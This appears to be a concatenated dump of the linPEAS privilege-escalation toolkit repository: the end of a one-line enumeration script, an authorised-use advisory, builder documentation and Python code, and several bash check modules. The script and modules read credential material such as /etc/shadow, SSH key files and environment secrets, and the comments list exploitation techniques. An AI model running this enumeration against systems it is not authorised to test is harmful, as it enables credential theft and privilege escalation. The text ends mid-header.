$Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l; ``` ## PEASS Style Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas ## Collaborate If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**. If you find any issue, please report it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues)**. **Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. ================================================ FILE: linPEAS/TODO.md ================================================ - Add more checks - Add more potential files with passwords to sensitive_files.yaml - Add more regex of interesting APIs to regexes.yaml - Mantain updated the list of vulnerable SUID binaries - Mantain updated all the blacklists used to color the output - Improve the speed - Reduce the size of the script - Generate automatically an obfuscated version ================================================ FILE: linPEAS/builder/README.md ================================================ # Build you own linpeas! You can **build you own linpeas which will contain only the checks you want**. This is useful to reduce the time it takes to run linpeas and to make linpeas more stealth and modular. ## Quick start building linpeas.sh It's possible to indicate the params `--all`, `--all-no-fat` and `--small` to build the classic `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh` outputs: - When testing builder changes locally, prefer writing the output to `/tmp` so you don't overwrite tracked release artifacts by accident. - **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded. - **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`. - **linpeas_small.sh**: Contains only the most *important* checks making its size smaller. However, in order to indicate only some specific checks, you can use the `--include` and `--exclude` params. These arguments supports a comma separated list of modules to add or remove from the final linpeas. Note that the matchs are done by checking **if the module path string contains any of the words** indicated in those params. Therefore, if you want to inde all the tests from the `linpeas_parts/3_cloud` it's enough to indicate `--include "cloud"`. Or if you want to include only the check `linpeas_parts/3_cloud/1_Check_if_in_Cloud` you can indicate `--include "Check_if_in_Cloud"`. ```bash # Run this commands from 1 level above the builder folder. From here: cd .. # Build linpeas_fat (linpeas with all checks, even third party applications in base64 embedded) python3 -m builder.linpeas_builder --all --output /tmp/linpeas_fat.sh # Build regular linpeas python3 -m builder.linpeas_builder --all-no-fat --output /tmp/linpeas.sh # Build small linpeas python3 -m builder.linpeas_builder --small --output /tmp/linpeas_small.sh # Build linpeas only with container and cloud checks python3 -m builder.linpeas_builder --include "container,cloud" --output /tmp/linpeas_custom.sh # Build linpeas only with regexes python3 -m builder.linpeas_builder --include "api_keys_regex" --output /tmp/linpeas_custom.sh # Build linpeas only with some specific modules ## You can customize it as much as you want python3 -m builder.linpeas_builder --include "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh # Build linpeas excluding some specific modules python3 -m builder.linpeas_builder --exclude "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh ``` ## How to add new modules Adding new modules is very easy. You just need to create a new file in the `linpeas_parts/` folder with the following structure with the bash code to run. Note that every new module should have some specific metadata at the beggining of the file. This metadata is used by the builder to generate the final linpeas. Metadata example: ```bash # Title: Cloud - Check if in cloud # ID: CL_Check_if_in_cloud # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the current system is inside a cloud environment # License: GNU GPL # Version: 1.0 # Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list # Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm # Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 ``` ### Metadata parts explained - **Title**: Title of the module - **ID**: Unique identifier of the module. It has to be the same as the filename without the extension and with the section identifier as prefix (in this case `CL`) - **Author**: Author of the module - **Last Update**: Last update of the module - **Description**: Description of the module - **License**: License of the module - **Version**: Version of the module - **Functions Used**: Functions used by the module inside the bash code. If your module is using a function not defined here, linpeas won't be built. - **Global Variables**: Global variables used by the module inside the bash code. If your module is using a global variable not defined here, linpeas won't be built. - **Initial Functions**: Functions that are called at the beggining of the module. If your module is using a function not defined here, linpeas won't be built. - **Generated Global Variables**: Global variables generated (given a relevant value) by the module. If your module is generating a global variable not defined here, linpeas won't be built. - **Fat linpeas**: Set only as 1 if the module is loading a third party app, if not 0. - **Small linpeas**: Set as 1 if it's a quick check, if not 0. ================================================ FILE: linPEAS/builder/__init__.py ================================================ ================================================ FILE: linPEAS/builder/linpeas_builder.py ================================================ from .src.peasLoaded import PEASLoaded from .src.linpeasBuilder import LinpeasBuilder from .src.linpeasBaseBuilder import LinpeasBaseBuilder from .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORARY_LINPEAS_BASE_PATH import os import stat import argparse # python3 -m builder.linpeas_builder def main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output): # Load configuration ploaded = PEASLoaded() # Build temporary linpeas_base.sh file lbasebuilder = LinpeasBaseBuilder(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules) lbasebuilder.build() # Build final linpeas.sh lbuilder = LinpeasBuilder(ploaded) lbuilder.build() lbuilder.write_linpeas(output) try: os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base_temp.sh file except FileNotFoundError: pass # Already removed (e.g. by a concurrent builder invocation in tests) st = os.stat(output) os.chmod(output, st.st_mode | stat.S_IEXEC) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Build you own linpeas.sh') parser.add_argument('--all', action='store_true', help='Build linpeas with all modules (linpeas_fat).') parser.add_argument('--all-no-fat', action='store_true', help='Build linpeas with all modules except fat ones.') parser.add_argument('--no-network-scanning', action='store_true', help='Build linpeas without network scanning.') parser.add_argument('--small', action='store_true', help='Build small version of linpeas.') parser.add_argument('--include', type=str, help='Build linpeas only with the modules indicated you can indicate section names or module IDs).') parser.add_argument('--exclude', type=str, help='Exclude the given modules (you can indicate section names or module IDs).') parser.add_argument('--output', required=True, type=str, help='Path to write the final linpeas file to.') args = parser.parse_args() all_modules = args.all all_no_fat_modules = args.all_no_fat no_network_scanning = args.no_network_scanning small = args.small include_modules = args.include.split(",") if args.include else [] include_modules = [m.strip().lower() for m in include_modules] exclude_modules = args.exclude.split(",") if args.exclude else [] exclude_modules = [m.strip().lower() for m in exclude_modules] output = args.output # If not all, all-no-fat, small or include, exit if not args.all and not args.all_no_fat and not args.small and not args.include: print("You must specify one of the following options: --all, --all-no-fat, --small or --include") parser.print_help() exit(1) main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output) ================================================ FILE: linPEAS/builder/linpeas_parts/10_api_keys_regex/regexes.sh ================================================ # Title: API Keys Regex - Regexes # ID: RX_regexes # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Regexes # License: GNU GPL # Version: 1.0 # Mitre: T1552.001,T1528 # Functions Used: print_2title, search_for_regex # Global Variables: $REGEXES, $TIMEOUT # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then peass{REGEXES} else echo "Regexes to search for API keys aren't activated, use param '-r' " fi ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/10_Environment.sh ================================================ # Title: System Information - Environment # ID: SY_Environment # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for sensitive information in environment variables that could lead to privilege escalation: # - Credentials in environment variables # - API keys and tokens # - Sensitive configuration data # - Common vulnerable scenarios: # * Hardcoded credentials in environment # * API keys exposed in environment # * Database credentials in environment # * Service account tokens # - Exploitation methods: # * Credential harvesting: Extract sensitive data from environment # * Common attack vectors: # - Password/credential extraction # - API key abuse # - Token theft # - Configuration data leakage # * Exploit techniques: # - Environment variable dumping # - Credential reuse # - Token reuse # - Configuration abuse # License: GNU GPL # Version: 1.0 # Mitre: T1082,T1552.007 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $NoEnvVars, $EnvVarsRed # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Environment" "T1082,T1552.007" print_info "Any private information inside environment variables?" (env || printenv || set) 2>/dev/null | grep -Eiv "$NoEnvVars" | sed -${E} "s,$EnvVarsRed,${SED_RED},g" || echo_not_found "env || set" echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh ================================================ # Title: System Information - Dmesg # ID: SY_Dmesg # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for kernel signature verification failures that could lead to privilege escalation: # - Failed kernel module signature verifications # - Common vulnerable scenarios: # * Disabled kernel module signing # * Failed signature verifications # * Unsigned kernel modules # - Exploitation methods: # * Kernel module injection: Load malicious kernel modules # * Common attack vectors: # - Kernel module loading # - Kernel module replacement # - Kernel module modification # * Exploit techniques: # - Module signing bypass # - Kernel module injection # - Kernel module modification # - Kernel module replacement # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$(command -v dmesg 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then print_2title "Searching Signature verification failed in dmesg" "T1082" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed" (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/12_Macos_os_checks.sh ================================================ # Title: System Information - MacOS OS checks # ID: SY_Macos_os_checks # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for MacOS-specific vulnerabilities and misconfigurations that could lead to privilege escalation: # - Unsigned kernel extensions # - Non-Apple kernel extensions # - System Integrity Protection (SIP) status # - Gatekeeper status # - Common vulnerable scenarios: # * Disabled SIP # * Unsigned kernel extensions # * Third-party kernel extensions # * Disabled Gatekeeper # - Exploitation methods: # * Kernel extension injection: Load malicious kernel extensions # * Common attack vectors: # - SIP bypass # - Kernel extension loading # - Gatekeeper bypass # - System modification # * Exploit techniques: # - Kernel extension injection # - SIP bypass # - Gatekeeper bypass # - System modification # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used:macosNotSigned, print_2title # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ]; then print_2title "Kernel Extensions not belonging to apple" "T1082" kextstat 2>/dev/null | grep -Ev " com.apple." echo "" print_2title "Unsigned Kernel Extensions" "T1082" macosNotSigned /Library/Extensions macosNotSigned /System/Library/Extensions echo "" fi if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null || echo -n '')" ]; then print_2title "Brew Doctor Suggestions" "T1082" brew doctor echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/16_Protections.sh ================================================ # Title: System Information - Protections # ID: SY_Protections # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for system security protections and their bypass possibilities: # - AppArmor/SELinux status and profiles # - ASLR status # - Seccomp filters # - Capabilities # - Common vulnerable scenarios: # * Disabled security modules # * Weak security profiles # * Missing security features # * Misconfigured protections # - Exploitation methods: # * Protection bypass: Circumvent security measures # * Common attack vectors: # - AppArmor/SELinux bypass # - ASLR bypass # - Seccomp filter bypass # - Capability abuse # * Exploit techniques: # - Profile bypass # - Memory randomization bypass # - Filter bypass # - Capability exploitation # - Protection circumvention # License: GNU GPL # Version: 1.0 # Mitre: T1518.001 # Functions Used: echo_not_found, print_2title, print_list, warn_exec # Global Variables: # Initial Functions: # Generated Global Variables: $ASLR, $hypervisorflag, $detectedvirt, $unpriv_userns_clone, $perf_event_paranoid, $mmap_min_addr, $ptrace_scope, $dmesg_restrict, $kptr_restrict, $unpriv_bpf_disabled, $protected_symlinks, $protected_hardlinks, $label, $sysctl_path, $sysctl_var, $zero_color, $nonzero_color, $sysctl_value # Fat linpeas: 0 # Small linpeas: 0 print_sysctl_eq_zero() { local label="$1" local sysctl_path="$2" local sysctl_var="$3" local zero_color="$4" local nonzero_color="$5" local sysctl_value print_list "$label" "$NC" sysctl_value=$(cat "$sysctl_path" 2>/dev/null) eval "$sysctl_var=\$sysctl_value" if [ -z "$sysctl_value" ]; then echo_not_found "$sysctl_path" else if [ "$sysctl_value" -eq 0 ]; then echo "0" | sed -${E} "s,0,${zero_color}," else echo "$sysctl_value" | sed -${E} "s,.*,${nonzero_color},g" fi fi } #-- SY) AppArmor print_2title "Protections" "T1518.001" print_list "AppArmor enabled? .............. "$NC if [ "$(command -v aa-status 2>/dev/null || echo -n '')" ]; then aa-status 2>&1 | sed "s,disabled,${SED_RED}," elif [ "$(command -v apparmor_status 2>/dev/null || echo -n '')" ]; then apparmor_status 2>&1 | sed "s,disabled,${SED_RED}," elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then ls -d /etc/apparmor* else echo_not_found "AppArmor" fi #-- SY) AppArmor2 print_list "AppArmor profile? .............. "$NC (cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN}," #-- SY) LinuxONE print_list "is linuxONE? ................... "$NC ( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x") #-- SY) grsecurity print_list "grsecurity present? ............ "$NC ( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity") #-- SY) PaX print_list "PaX bins present? .............. "$NC (command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX") #-- SY) Execshield print_list "Execshield enabled? ............ "$NC (grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED}," #-- SY) SElinux print_list "SELinux enabled? ............... "$NC (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," #-- SY) Seccomp print_list "Seccomp enabled? ............... "$NC ([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," #-- SY) AppArmor print_list "User namespace? ................ "$NC if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi #-- SY) Unprivileged user namespaces print_sysctl_eq_zero "unpriv_userns_clone? ........... " "/proc/sys/kernel/unprivileged_userns_clone" "unpriv_userns_clone" "$SED_GREEN" "$SED_RED" #-- SY) Unprivileged eBPF print_sysctl_eq_zero "unpriv_bpf_disabled? ........... " "/proc/sys/kernel/unprivileged_bpf_disabled" "unpriv_bpf_disabled" "$SED_RED" "$SED_GREEN" #-- SY) cgroup2 print_list "Cgroup2 enabled? ............... "$NC ([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," #-- SY) Kernel hardening sysctls print_sysctl_eq_zero "kptr_restrict? ................. " "/proc/sys/kernel/kptr_restrict" "kptr_restrict" "$SED_RED" "$SED_GREEN" print_sysctl_eq_zero "dmesg_restrict? ................ " "/proc/sys/kernel/dmesg_restrict" "dmesg_restrict" "$SED_RED" "$SED_GREEN" print_sysctl_eq_zero "ptrace_scope? .................. " "/proc/sys/kernel/yama/ptrace_scope" "ptrace_scope" "$SED_RED" "$SED_GREEN" print_sysctl_eq_zero "protected_symlinks? ............ " "/proc/sys/fs/protected_symlinks" "protected_symlinks" "$SED_RED" "$SED_GREEN" print_sysctl_eq_zero "protected_hardlinks? ........... " "/proc/sys/fs/protected_hardlinks" "protected_hardlinks" "$SED_RED" "$SED_GREEN" print_list "perf_event_paranoid? ........... "$NC perf_event_paranoid=$(cat /proc/sys/kernel/perf_event_paranoid 2>/dev/null) if [ -z "$perf_event_paranoid" ]; then echo_not_found "/proc/sys/kernel/perf_event_paranoid" else if [ "$perf_event_paranoid" -le 1 ]; then echo "$perf_event_paranoid" | sed -${E} "s,.*,${SED_RED},g"; else echo "$perf_event_paranoid" | sed -${E} "s,.*,${SED_GREEN},g"; fi fi print_sysctl_eq_zero "mmap_min_addr? ................. " "/proc/sys/vm/mmap_min_addr" "mmap_min_addr" "$SED_RED" "$SED_GREEN" print_list "lockdown mode? ................. "$NC if [ -f "/sys/kernel/security/lockdown" ]; then cat /sys/kernel/security/lockdown 2>/dev/null | sed -${E} "s,none,${SED_RED},g; s,integrity|confidentiality,${SED_GREEN},g" else echo_not_found "/sys/kernel/security/lockdown" fi #-- SY) Kernel hardening config flags print_list "Kernel hardening flags? ........ "$NC if [ -f "/boot/config-$(uname -r)" ]; then grep -E 'CONFIG_RANDOMIZE_BASE|CONFIG_STACKPROTECTOR|CONFIG_SLAB_FREELIST_|CONFIG_KASAN' /boot/config-$(uname -r) 2>/dev/null elif [ -f "/proc/config.gz" ]; then zcat /proc/config.gz 2>/dev/null | grep -E 'CONFIG_RANDOMIZE_BASE|CONFIG_STACKPROTECTOR|CONFIG_SLAB_FREELIST_|CONFIG_KASAN' else echo_not_found "kernel config" fi #-- SY) Gatekeeper if [ "$MACPEAS" ]; then print_list "Gatekeeper enabled? .......... "$NC (spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," print_list "sleepimage encrypted? ........ "$NC (sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no print_list "XProtect? .................... "$NC (system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no print_list "SIP enabled? ................. "$NC csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no print_list "Sealed Snapshot? ............. "$NC diskutil apfs list | grep "Snapshot Sealed" | awk -F: '{print $2}' | tr -d '[:space:]' | sed "s,Yes,${SED_GREEN}," | sed "s,No,${SED_RED}," || echo_not_found print_list "Sealed Snapshot (2nd)? ....... "$NC csrutil authenticated-root status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no print_list "Connected to JAMF? ........... "$NC warn_exec jamf checkJSSConnection print_list "Connected to AD? ............. "$NC dsconfigad -show && echo "" || echo_no fi #-- SY) ASLR print_list "Is ASLR enabled? ............... "$NC ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null) if [ -z "$ASLR" ]; then echo_not_found "/proc/sys/kernel/randomize_va_space"; else if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi echo "" fi #-- SY) Printer print_list "Printer? ....................... "$NC (lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null #-- SY) Running in a virtual environment print_list "Is this a virtual machine? ..... "$NC hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor) if [ "$(command -v systemd-detect-virt 2>/dev/null || echo -n '')" ]; then detectedvirt=$(systemd-detect-virt) if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi else if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/17_Kernel_Modules.sh ================================================ # Title: System Information - Kernel Modules # ID: SY_Kernel_Modules # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for kernel module vulnerabilities and misconfigurations that could lead to privilege escalation: # - Loaded kernel modules with known vulnerabilities # - Kernel modules with weak permissions that could be modified # - Ability to load kernel modules as unprivileged user # - Missing kernel module signing requirements # - Exploitation methods: # * Vulnerable modules: Use known exploits for vulnerable kernel modules # * Weak permissions: Modify kernel modules to inject malicious code # * Module loading: Load malicious kernel modules to get root access # * Common vulnerable modules: nf_tables, eBPF, overlayfs, etc. # License: GNU GPL # Version: 1.0 # Mitre: 